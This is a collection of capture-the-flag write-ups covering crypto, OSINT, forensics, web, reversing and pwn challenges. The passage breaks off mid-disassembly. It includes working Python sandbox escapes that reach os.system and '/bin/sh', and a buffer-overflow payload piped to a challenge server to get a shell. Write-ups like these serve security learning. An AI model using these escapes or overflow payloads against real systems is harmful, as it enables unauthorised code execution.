there is a non printable constant, and a probably a function called `string_xor` we can try to xor `p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N` with `ALLES{`
```python>>> from pwn import xor>>> xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N','ALLES{')b'133713A\x08\x1eB\x10)\x14 \x06B\x17\x17\x13)N\x0b'>>> xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N','1337')b'ALLES{3sc4ped_y0u_aR3}'```
**FLAG:** `ALLES{3sc4ped_y0u_aR3}`
# Pyjail_Escape
**Description**
```Python leave you must, to be master real!```
**Solution**
Because of the previous challenge we know
we can use `input` to execute pretty much anything and bypass the blacklisted chars
Let's print all subclasses()
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>,<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]```
We need `os._wrap_close` to execute `system` function
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__["system"]("ls -la")total 40drwxr-xr-x. 2 root root 131 Sep 3 18:27 .drwxr-xr-x. 3 root root 17 Jul 22 18:42 ..-rw-r--r--. 1 root root 220 Apr 4 2018 .bash_logout-rw-r--r--. 1 root root 3771 Apr 4 2018 .bashrc-rw-r--r--. 1 root root 807 Apr 4 2018 .profile-rw-r--r--. 1 root root 29 Aug 29 15:20 LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt-rwxr-xr-x. 1 root root 1328 Sep 3 18:27 pyjail.py-rwxr-xr-x. 1 root root 18744 Jul 22 18:50 ynetd```
Let's read `LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt`:
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__["system"]("cat LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt")ALLES{th1s_w4s_a_r34l_3sc4pe}```
**Flag:** `ALLES{th1s_w4s_a_r34l_3sc4pe}`
As simple as that x) |
# babyrsa
Author: [roerohan](https://github.com/roerohan)
## Source
```This is just RSA for babies!```
## Exploit
The factors can be recovered from factordb.
```pyimport mathfrom Crypto.Util.number import inverse
e = 0x10001
n = 19574201286059123715221634877085223155972629451020572575626246458715199192950082143183900970133840359007922584516900405154928253156404028820410452946729670930374022025730036806358075325420793866358986719444785030579682635785758091517397518826225327945861556948820837789390500920096562699893770094581497500786817915616026940285194220703907757879335069896978124429681515117633335502362832425521219599726902327020044791308869970455616185847823063474157292399830070541968662959133724209945293515201291844650765335146840662879479678554559446535460674863857818111377905454946004143554616401168150446865964806314366426743287s = 3737620488571314497417090205346622993399153545806108327860889306394326129600175543006901543011761797780057015381834670602598536525041405700999041351402341132165944655025231947620944792759658373970849932332556577226700342906965939940429619291540238435218958655907376220308160747457826709661045146370045811481759205791264522144828795638865497066922857401596416747229446467493237762035398880278951440472613839314827303657990772981353235597563642315346949041540358444800649606802434227470946957679458305736479634459353072326033223392515898946323827442647800803732869832414039987483103532294736136051838693397106408367097c = 7000985606009752754441861235720582603834733127613290649448336518379922443691108836896703766316713029530466877153379023499681743990770084864966350162010821232666205770785101148479008355351759336287346355856788865821108805833681682634789677829987433936120195058542722765744907964994170091794684838166789470509159170062184723590372521926736663314174035152108646055156814533872908850156061945944033275433799625360972646646526892622394837096683592886825828549172814967424419459087181683325453243145295797505798955661717556202215878246001989162198550055315405304235478244266317677075034414773911739900576226293775140327580
# From factordb
p = 137526660281921131221818797107719332505145627503966517923070280130875449016216283557144366594925577458093232503891037595787957060953687166721367679274343931891139309595758625134752102980837611457006046816552168551932124923087090435785959383128842381406539452056309367997750395905747259198693037451326868517899
q = 142330230705328145595283676471239195558844969347785580004001554538877181973869318257471293219512143354019499347549183531116588694914100319083003689276059546015147159203569933280678564050512749524779927522346194056170602443980796876645843108623490893506040488132906421994550401879219627124260709500352428249413
print(p*q == n)
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c,d,n)
m = hex(m)[2:]
print(bytes.fromhex(m))```
The flag is:
```DUCTF{e4sy_RSA_ch4ll_t0_g3t_st4rt3d}``` |
1. Analyze the ciphertext
`Ypw'zj tpmwfe ...`
```Y = Y + 0p = o + 1w = u + 2' = ' + 3z = v + 4j = e + 5 = + 6t = s + 7p = o + 8m = l + 9w = v + 10f = e + 11e = d + 12...```
2. Decode for ROT-i
```file = open('challenge.txt').readline().strip()cipher = list(file)upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'lower = upper.lower()i = 0for c in cipher: if c in upper: x = upper.index(c) - i print(upper[x], end = '') elif c in lower: x = lower.index(c) - i print(lower[x], end = '') else: print(c, end = '') i = (i + 1) % 26```
3. Here is the result
`You've solved the beginner crypto challenge! The flag is DUCTF{crypto_is_fun_kjqlptzy}. Now get out some pen and paper for the rest of them, they won't all be this easy :).`
4. Here is the flag
`DUCTF{crypto_is_fun_kjqlptzy}` |
# slithery (pwn)
We are placed in the following sandbox:```python#!/usr/bin/env python3from base64 import b64decodeimport blacklist # you don't get to see this :p
"""Don't worry, if you break out of this one, we have another one underneath so that you won'twreak any havoc!"""
def main(): print("EduPy 3.8.2") while True: try: command = input(">>> ") if any([x in command for x in blacklist.BLACKLIST]): raise Exception("not allowed!!")
final_cmd = """uOaoBPLLRN = open("sandbox.py", "r")uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]uOaoBPLLRN.close()HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command exec(final_cmd)
except (KeyboardInterrupt, EOFError): return 0 except Exception as e: print(f"Exception: {e}")
if __name__ == "__main__": exit(main())```It seems like any input we enter is first checked against a blacklist to make sure there are not any disallowed substrings, then appended to some obfuscated code and then executed. Let's see if we can see what is in the blacklist.```EduPy 3.8.2>>> print(blacklist.BLACKLIST)['__builtins__', '__import__', 'eval', 'exec', 'import', 'from', 'os', 'sys', 'system', 'timeit', 'base64commands', 'subprocess', 'pty', 'platform', 'open', 'read', 'write', 'dir', 'type']```Interestingly, `blacklist` is not in the blacklist. So we can just set the blacklist to be an empty list?```>>> blacklist.BLACKLIST=[]```This seemed to work. Let's see if we can get a shell now.```>>> import os;os.system('/bin/sh')
lsblacklist.pyflag.txtrunner.pysandbox.pysolver.pycat flag.txtflag{y4_sl1th3r3d_0ut}```That was simple. |
[https://gitlab.com/hacklabor/ductf-writeup/-/blob/master/Rail/OfTheRails_Osint.md](https://gitlab.com/hacklabor/ductf-writeup/-/blob/master/Rail/OfTheRails_Osint.md) |
# On the spectrum:forensics:100ptsMy friend has been sending me lots of WAV files, I think he is trying to communicate with me, what is the message he sent? Attached files: - message_1.wav (sha256: 069dacbd6d6d5ed9c0228a6f94bbbec4086bcf70a4eb7a150f3be0e09862b5ed)
[message_1.wav](message_1.wav)
# Solutionwavファイルのようだ。 問題名の通りスぺクトログラムを見てやる。  flagが書かれていた。
## DUCTF{m4by3_n0t_s0_h1dd3n} |
> deadsimplecrackme> > 100> > This one is an easy one.> > Author silverf3lix> > Download: [deadsimplecrackme](https://0xd13a.github.io/ctfs/inctf2020/deadsimplecrackme/EBOOT.PBP)
This is a PSP reversing challenge, so let's set up an [emulator](https://www.ppsspp.org/).
We are asked to press a bunch of buttons on the controller to reveal the key:
We can extract the ELF executable out of the PBP file and open in in Ghidra. The following is the function of interest:
```cvoid _gp_6(int *param_1,int param_2){ int iVar1; int iVar2; int iVar3; int iVar4; int iVar5; int iVar6; int iVar7; int iVar8; int iVar9; int iVar10; int iVar11; uint *local_50; code *local_4c; uint local_44; undefined **local_40; undefined4 local_3c; undefined4 local_38; undefined **local_30; undefined4 local_2c; iVar1 = *param_1; iVar2 = param_1[1]; iVar8 = param_1[8]; iVar10 = param_1[7]; iVar11 = 0; iVar3 = param_1[2]; iVar4 = param_1[3]; iVar5 = param_1[4]; iVar6 = param_1[5]; iVar7 = param_1[9]; iVar9 = param_1[6]; do { local_2c = 1; local_3c = 1; local_4c = h8dc2c151a61fc5c7; local_40 = &PTR_LOOP_0008b68c; local_38 = 0; local_44 = (uint)(byte)hd21e1c288d6314bc[iVar11] ^ iVar7 + iVar8 + iVar10 + iVar9 + iVar6 + iVar5 + iVar4 + iVar3 + iVar2 + iVar1 + param_2 & 0xffU; local_50 = &local_44; local_30 = (undefined **)&local_50; h3ee82e4c30d7dcbc(&local_40); iVar11 = iVar11 + 4; } while (iVar11 != 0x120); local_3c = 1; local_30 = &PTR_LOOP_0008b68c; local_40 = &PTR_DAT_0008b684; local_2c = 0; local_38 = 0; h3ee82e4c30d7dcbc(&local_40); return;}```
Here data at location ```hd21e1c288d6314bc``` is XORed with codes from button presses. Instead of digging further let's simply bruteforce the code in CyberChef:
Bingo! The flag is ```inctf{s3xy_lil_machine_running_at_333mhz}```. |
tldr;- weird mode of operation that uses two IVs has been used to encrypt some (known) plaintext- the flag is split across the two IVs- we are given part of the key and some of the ciphertext (a majority has been "corrupted")- bruteforce a few bits of the key, then work backwards to recover the IVs
[DUCTF GitHub](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/cosmic-rays)
[writeup](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#cosmic-rays) |
# In a pickle
## Problem descriptionWe managed to intercept communication between und3rm4t3r and his hacker friends.However it is obfuscated using something. We just can't figure out what it is.Maybe you can help us find the flag?
[data](https://play.duc.tf/files/5f85a352ae3eaf93f5adf9cb06074ea0/data?token=eyJ1c2VyX2lkIjoyNDc4LCJ0ZWFtX2lkIjoxMDI2LCJmaWxlX2lkIjozM30.X2dFng.hYWA6IafRlMg4Q5kKhue7CHKnik)
Category: misc. Points: 200. Tag: easy.
### data``(dp0I1S'D'p1sI2S'UCTF'p2sI3S'{'p3sI4I112sI5I49sI6I99sI7I107sI8I108sI9I51sI10I95sI11I121sI12I48sI13I117sI14I82sI15I95sI16I109sI17I51sI18I53sI19I53sI20I52sI21I103sI22I51sI23S'}'p4sI24S"I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "p5s.``
## Concepts* [Pickle](https://docs.python.org/3/library/pickle.html)* [ASCII table](https://www.cs.cmu.edu/~pattis/15-1XX/common/handouts/ascii.html)
## Solving the challengeThe `data` file contains a pickled (serialized) Python object. Pickling converts aPython object hierarchy into a byte stream, while unpickling is the reverse process.To solve the challenge we need to unpickle (deserialize) the object, using the`pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict')`method.
Unpickle `data` file into a variable `content`:
```import pickle
with open('./data', 'rb') as pickle_file: content = pickle.load(pickle_file)```
Examining the `content` variable:```>>> print(content){1: 'D', 2: 'UCTF', 3: '{', 4: 112, 5: 49, 6: 99, 7: 107, 8: 108, 9: 51, 10: 95, 11: 121, 12: 48, 13: 117, 14: 82, 15: 95, 16: 109, 17: 51, 18: 53, 19: 53, 20: 52, 21: 103, 22: 51, 23: '}', 24: "I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "}
>>> type(content)<class 'dict'>```
The `content` variable is a `dict`. Looking at the values, we can identify that all values belonging to key 4-22 are stored as ASCII decimal. Thus, we need to convert theASCII decimals to character. In this case (since there are no other integervalues in the dict), we can convert all int values to their corresponding characterusing the `chr(i)` function.
Storing the flag in a `flag` variable:```flag = ""for key in sorted(content)[:-1]: # Sorting dict to ensure correct ordering. Omitting the (string) value from the last key (24) val = content[key] if isinstance(val, int): val = chr(val) # Transforming ASCII decimal to character flag += val```
Now we can output the flag:```>>> print(flag)DUCTF{p1ckl3_y0uR_m3554g3}``` |
# rot-i:crypto:100ptsROT13 is boring! Attached files: - challenge.txt (sha256: ab443133665f34333aa712ab881b6d99b4b01bdbc8bb77d06ba032f8b1b6d62d)
[challenge.txt](challenge.txt)
# SolutionROT13では解けないようだ。 challenge.txtの先頭を見ると、どうやらYouから始まっていそうである。 ```text:challenge.txtYpw'zj zwufpp hwu txadjkcq dtbtyu kqkwxrbvu! Mbz cjzg kv IAJBO{ndldie_al_aqk_jjrnsxee}. Xzi utj gnn olkd qgq ftk ykaqe uei mbz ocrt qi ynlu, etrm mff'n wij bf wlny mjcj :).```YがY、oがp、uがw。 つまりrot-iのiが1ずつズレていっている。 `IAJBO{ndldie_al_aqk_jjrnsxee}`を復元したいため、IがDになるrot21から始めればよい(rot-(26-i)になる)。 [rot13.com](https://rot13.com/)を使ってもよい。 大文字小文字の違いによる実装が面倒なので、{の後のn、つまりrot15から中身を復元するのが効率的である。 以下のrotrotrot.pyで復元する。 ```python:rotrotrot.pyrotflag = "ndldie_al_aqk_jjrnsxee"
print("DUCTF{",end="")
i = 15for j in rotflag: m = (ord(j) - ord('a') + i) % 26 ans = chr(m + ord('a')) if j == "_": ans = j print(ans,end="") i -= 1
print("}")``````bash$ python rotrotrot.pyDUCTF{crypto_is_fun_kjqlptzy}```
## DUCTF{crypto_is_fun_kjqlptzy} |
# Leggos:web:100ptsI <3 Pasta! I won't tell you what my special secret sauce is though! [https://chal.duc.tf:30101](https://chal.duc.tf:30101/)
# SolutionURLにアクセスすると以下のようなサイトだった。 My Favourite Pasta Sauce [site.png](site/site.png) ソースを見ると良さそうだ。 右クリックが禁止されているようだが、頑張って(開発者ツールなどで)ソースを見る。 ```html~~~ </style> <script src="disableMouseRightClick.js"></script> </head>~~~ <div class="main-body"> <h1>My Second Favourite Pasta Sauce</h1> This is my second favourite pasta sauce! I have safely hidden my favourite sauce! </div>~~~```disableMouseRightClick.jsなるものがあるようだ。 開くと以下のようだった。 ```JavaScript:disableMouseRightClick.jsdocument.addEventListener('contextmenu', function(e) { e.preventDefault(); alert('not allowed');});
This is my second favourite pasta sauce! I have safely hidden my favourite sauce!
//the source reveals my favourite secret sauce // DUCTF{n0_k37chup_ju57_54uc3_r4w_54uc3_9873984579843} ```コメントにflagが書かれている。
## DUCTF{n0_k37chup_ju57_54uc3_r4w_54uc3_9873984579843} |
# Shell this!:pwn:100ptsSomebody told me that this program is vulnerable to something called remote code execution? I'm not entirely sure what that is, but could you please figure it out for me? nc chal.duc.tf 30002 Attached files: - shellthis.c (sha256: 82c8a27640528e7dc0c907fcad549a3f184524e7da8911e5156b69432a8ee72c) - shellthis (sha256: af6d30df31f0093cce9a83ae7d414233624aa8cf23e0fd682edae057763ed2e8)
[shellthis.c](shellthis.c) [shellthis](shellthis)
# Solutionshellthis.cを見るとget_shellなる関数がある。 vulnに存在するBOFでこれを呼び出してやればいい。 ```bash$ gdb ./shellthis~~~gdb-peda$ disass get_shellDump of assembler code for function get_shell: 0x00000000004006ca <+0>: push rbp 0x00000000004006cb <+1>: mov rbp,rsp 0x00000000004006ce <+4>: mov edx,0x0 0x00000000004006d3 <+9>: mov esi,0x0 0x00000000004006d8 <+14>: lea rdi,[rip+0xf9] # 0x4007d8 0x00000000004006df <+21>: call 0x400570 <execve@plt> 0x00000000004006e4 <+26>: nop 0x00000000004006e5 <+27>: pop rbp 0x00000000004006e6 <+28>: retEnd of assembler dump.```0x00000000004006caだとわかった。 あとは位置を調整してやる。 ```bash$ (echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xca\x06\x40\x00\x00\x00\x00\x00" ; cat) | nc chal.duc.tf 30002Welcome! Can you figure out how to get this program to give you a shell?Please tell me your name: lsflag.txtshellthiscat flag.txtDUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}```flag.txt内にflagが書かれていた。
## DUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?} |
# Welcome to Petstagram:osint:100ptsWho is Alexandros the cat exactly? And who is this mysterious "mum" he keeps talking about? Submit his mum's full name in lowercase and with underscores instead of spaces, as the flag: DUCTF{name} Hint I'm looking for their mum's full name. Are you sure you have everything you need? Hint If you have Alexandros' mum's given name and surname... what else could there be left to find to get her full name?
# Solutionmumの名前を探すようだ。 PetstagramからInstagramを怪しんで検索する。 Alexandros the catで[alexandrosthecat](https://www.instagram.com/alexandrosthecat/)がヒットした。  かわいいモノクロの猫とリボンの猫が投稿されている。 投稿に飼い主(mum)のYouTubeリンクがあった。  gelato_elgatoというアカウント名だ。 動画などは投稿されていなかった。  これをツイッターで検索すると以下の[アカウント](https://twitter.com/gelato_elgato)が出てきた。 アイコンも猫なので怪しい。  call me theresaらしい。 再度Instagramに戻り、alexandrosthecatのフォロワーをサーチすると[emwaters92](https://www.instagram.com/emwaters92/)がヒットした。 投稿に同じ猫(リボンの猫をモノクロにした写真)が写っている。  名前がEmily Watersでアカウントがemwaters92なのでEmily T Watersのようだ。 Tがtheresaである可能性が高い。 名前を指定されたとおりに整形すると、正しいflagになった。
## DUCTF{emily_theresa_waters} |
# Off the Rails 2: Electric Boogaloo: Far from Home:osint:336ptsOkay so I'm starting to think I may have got on the wrong train again and now it's snowing so hard I have no clue where I am ?. Thankfully, I managed to snap this pic before the storm started. We seem to have stopped at this station.. can you tell me it's name? Please tell me the name of the station in lower case flag format, with any spaces replaced by underscores. Attached files: - no_pain_no_train.png (sha256: 5d4189012db8bc5522bce945b9311c474bc63c77fe25b7d15497997919cd81b7)
[no_pain_no_train.png](no_pain_no_train.png)
# Solutionno_pain_no_train.pngが渡される。 どうやら、今いる駅を見つけてほしいようだ(GPS使えないのか)。 雪、針葉樹林、赤い電車、赤い家から北欧周辺にあたりをつける。 北欧の国を順に検索していくと、`norway red train snow`で似た電車を発見できる。  Nordland Line(電車はNSB Di 4)のようだ。 Nordland Lineの路線を探すが、駅が多すぎる。 YouTubeに動画があるので、それを再生していると切り抜いたであろう元動画を見つけた。 スタートから40分ほどで到着する駅である。  [Cab Ride on Nordland line railway winter 03. (37:57)](https://youtu.be/jL9vALlM8YQ?t=2277) これによると、該当する駅はStjørdalらしいがflagが間違っているようだ。 以下の動画と見比べると、元動画の電車のスタートがTrondheimではない(説明文にはそう書いてあるが…)。 [Cab Ride Norway : Trondheim - Bodø (Spring) Nordland Line](https://youtu.be/tnsQ8DjD6YE) 元動画のスタート駅を見つけてその40分後の駅を答えればよい。 外観からMo i Ranaがスタート駅のようだ。 [Cab Ride Norway : Trondheim - Bodø (Spring) Nordland Line (6:42:42)](https://youtu.be/tnsQ8DjD6YE?t=24162) その40分後の駅は[Nordland Line - Wikipedia](https://en.wikipedia.org/wiki/Nordland_Line)よりDunderlandとわかる。 これがflagだった。
## DUCTF{dunderland} |
# homepage:misc:100ptsHmm wasnt the homepage logo rainbow before? I wonder how it works... [https://downunderctf.com](https://downunderctf.com/) Hint 01101000 01100001 01110110 01100101 00100000 01111001 01101111 01110101 00100000 01100011 01101111 01101110 01110011 01101001 01100100 01100101 01110010 01100101 01100100 00100000 01100010 01101001 01101110 01100001 01110010 01111001 00111111
# Solutionトップページが問題のようだ。 DownUnderCTF [site1.png](site/site1.png) マウスオーバーによってロゴの色が変わる。 [site2.png](site/site2.png) ソースを見るとsplash.jsなるファイルがあった。 中に以下のような記述がある。 ```JavaScript~~~ function reset(elem) { return function() { elem.style.fill = ""; } } const lol = "00101000000010000010111101100001101001011101000101101110100001100011111101101010" + "1010001111000111101000110010000001000000010010001000011111011101001111101001110111101010" + "0110011110010111100011011110001010000010001100110110000101011001110101010001011101001001" + "0110000011011110001010110011001011111001110010011101100011110000110111111001000011010101" + "0100000000101000111110101000111001111100111000010001000100110";
document.querySelectorAll("#logo circle").forEach(function (c, k) { c.addEventListener("mouseover", function (e) { e.target.style.fill = lol[k] === "0" ? "#005248" : "#C3FCF1"; }) });~~~```そのままASCIIには変換できないようだ。 というのも、ロゴの点はこのビット順に着色されているが、cxとxyで座標が指定されている。 以下のdot.pyで座標順にビットを並び替える。 ファイルlogo.txtにはhtmlのロゴ部分を抜き出して記述した。 ```python:dot.pyimport refrom operator import itemgetter
lol = "00101000000010000010111101100001101001011101000101101110100001100011111101101010"\"1010001111000111101000110010000001000000010010001000011111011101001111101001110111101010"\"0110011110010111100011011110001010000010001100110110000101011001110101010001011101001001"\"0110000011011110001010110011001011111001110010011101100011110000110111111001000011010101"\"0100000000101000111110101000111001111100111000010001000100110"
html = open("logo.txt").readlines()
#print(len(lol))#print(len(html))
text = list()
for i in range(len(html)): s = re.search("cx=\"(?P<cx>[0-9]*?)\" cy=\"(?P<cy>[0-9]*?)\" fill", html[i]) text.append((int(s.group("cx")), int(s.group("cy")), lol[i]))
text_x_y = sorted(text, key=itemgetter(0, 1))text_y_x = sorted(text, key=itemgetter(1, 0))
for i in text_x_y: print(i[2],end="")print()
for i in text_y_x: print(i[2],end="")print()```x優先、y優先どちらも出力している。 実行する。 ```bash$ lsdot.py logo.txt$ python dot.py011101000110100001100101001000000110011001101100011000010110011100100000011010010111001100100000010001000101010101000011010101000100011001111011011010010101111101110100011101010111001001101110001100110110010001011111011011010111100101110011010001010011000101100110010111110110100101101110010101000011000001011111011100110011000001101101001100110101111101100110001100010110000101100111011111010000000000000101110111101000011001111111011111111001001100100111011010111011101111001111000011010110001011110100001101010000100110100001001000110011011101001001001011101010100000010000101011101100110111111111101000110100100011010001000100100000000100000001000011000001110101001001101000010011010111110101011110011001101100100011101100010010110010001010110001010010001110100001010010010011100010101010001011000101010111```[Binary to Text Translator](https://www.rapidtables.com/convert/number/binary-to-ascii.html)でASCIIにすると、x優先のビットが以下になった。 ```textthe flag is DUCTF{i_turn3d_mysE1f_inT0_s0m3_f1ag}```
## DUCTF{i_turn3d_mysE1f_inT0_s0m3_f1ag} |
There are a lot of references on music "Kagamine Rin&Len - Remote Control"- remote management - ref to music name- artificial man - vokaloids- they plays all time - ref to music theme- commands: **L R STOP DASH UP TALK B A START** - it is googleble lirics for this music
So, the solution is to google this music and put commands from it to program.
BTW, this task also can be solved uzing z3. |
# Challenge Name : added protection
# Description :
This binary has some e^tra added protection on the advanced 64bit shellcode
## Analysis of the binary
Upon running the binary, we find out that it just executes the `fprintf` and displays a message and exits.
``` ./added_protection size of code: 130Can u find the flag? ```
If we look further into the decompilation of the binary we find out that a particular section called `code` is being loaded onto the binary.
```undefined8 main(undefined8 argc, char **argv){ uint16_t *puVar1; code *pcVar2; char **var_40h; int64_t var_34h; int64_t var_28h; undefined8 var_20h; undefined8 s1; undefined8 length; uint32_t var_8h; fprintf(_reloc.stderr, "size of code: %zu\n", 0x82); _var_8h = 0; while (_var_8h < 0x41) { puVar1 = (uint16_t *)(code + _var_8h * 2); *puVar1 = *puVar1 ^ 0xbeef; if (*puVar1 < 0x2a) { *puVar1 = *puVar1 - 0x2b; } else { *puVar1 = *puVar1 - 0x2a; } _var_8h = _var_8h + 1; } pcVar2 = (code *)mmap(0, 0x82, 7, 0x22, 0xffffffff, 0, argv); if (pcVar2 == (code *)0xffffffffffffffff) { perror("mmap"); exit(1); } memcpy(pcVar2, code, 0x82); (*pcVar2)(); return 0;}```
This is further confirmed when the disassembly is being checked.
```[0x00001175]> pdf ; DATA XREF from entry0 @ 0x10ad/ 308: int main (int argc, char **argv);| ; var char **var_40h @ rbp-0x40| ; var int64_t var_34h @ rbp-0x34| ; var int64_t var_2ch @ rbp-0x2c| ; var int64_t var_28h @ rbp-0x28| ; var size_t var_20h @ rbp-0x20| ; var size_t s1 @ rbp-0x18| ; var size_t length @ rbp-0x10| ; var uint32_t var_8h @ rbp-0x8| ; arg int argc @ rdi| ; arg char **argv @ rsi| 0x00001175 55 push rbp| 0x00001176 4889e5 mov rbp, rsp| 0x00001179 4883ec40 sub rsp, 0x40| 0x0000117d 897dcc mov dword [var_34h], edi ; argc| 0x00001180 488975c0 mov qword [var_40h], rsi ; argv| 0x00001184 48c745f08200. mov qword [length], 0x82| 0x0000118c 488b056d2f00. mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5| ; [0x4100:8]=0| 0x00001193 488b55f0 mov rdx, qword [length]| 0x00001197 488d35660e00. lea rsi, str.size_of_code:__zu ; 0x2004 ; "size of code: %zu\n" ; const char *format| 0x0000119e 4889c7 mov rdi, rax ; FILE *stream| 0x000011a1 b800000000 mov eax, 0| 0x000011a6 e895feffff call sym.imp.fprintf ; int fprintf(FILE *stream, const char *format, ...)| 0x000011ab 48c745f80000. mov qword [var_8h], 0| ,=< 0x000011b3 eb6e jmp 0x1223| | ; CODE XREF from main @ 0x122e| .--> 0x000011b5 488b45f8 mov rax, qword [var_8h]| :| 0x000011b9 488d1400 lea rdx, [rax + rax]| :| 0x000011bd 488d059c2e00. lea rax, obj.code ; 0x4060| :| 0x000011c4 4801d0 add rax, rdx| :| 0x000011c7 488945d8 mov qword [var_28h], rax| :| 0x000011cb 488b45d8 mov rax, qword [var_28h]| :| 0x000011cf 0fb700 movzx eax, word [rax]| :| 0x000011d2 6635efbe xor ax, 0xbeef| :| 0x000011d6 89c2 mov edx, eax| :| 0x000011d8 488b45d8 mov rax, qword [var_28h]| :| 0x000011dc 668910 mov word [rax], dx| :| 0x000011df 488b45d8 mov rax, qword [var_28h]| :| 0x000011e3 0fb700 movzx eax, word [rax]| :| 0x000011e6 6683f829 cmp ax, 0x29| ,===< 0x000011ea 7721 ja 0x120d| |:| 0x000011ec 488b45d8 mov rax, qword [var_28h]| |:| 0x000011f0 0fb700 movzx eax, word [rax]| |:| 0x000011f3 0fb7c0 movzx eax, ax| |:| 0x000011f6 05ffff0000 add eax, 0xffff| |:| 0x000011fb 8945d4 mov dword [var_2ch], eax| |:| 0x000011fe 8b45d4 mov eax, dword [var_2ch]| |:| 0x00001201 8d50d6 lea edx, [rax - 0x2a]| |:| 0x00001204 488b45d8 mov rax, qword [var_28h]| |:| 0x00001208 668910 mov word [rax], dx| ,====< 0x0000120b eb11 jmp 0x121e| ||:| ; CODE XREF from main @ 0x11ea| |`---> 0x0000120d 488b45d8 mov rax, qword [var_28h]| | :| 0x00001211 0fb700 movzx eax, word [rax]| | :| 0x00001214 8d50d6 lea edx, [rax - 0x2a]| | :| 0x00001217 488b45d8 mov rax, qword [var_28h]| | :| 0x0000121b 668910 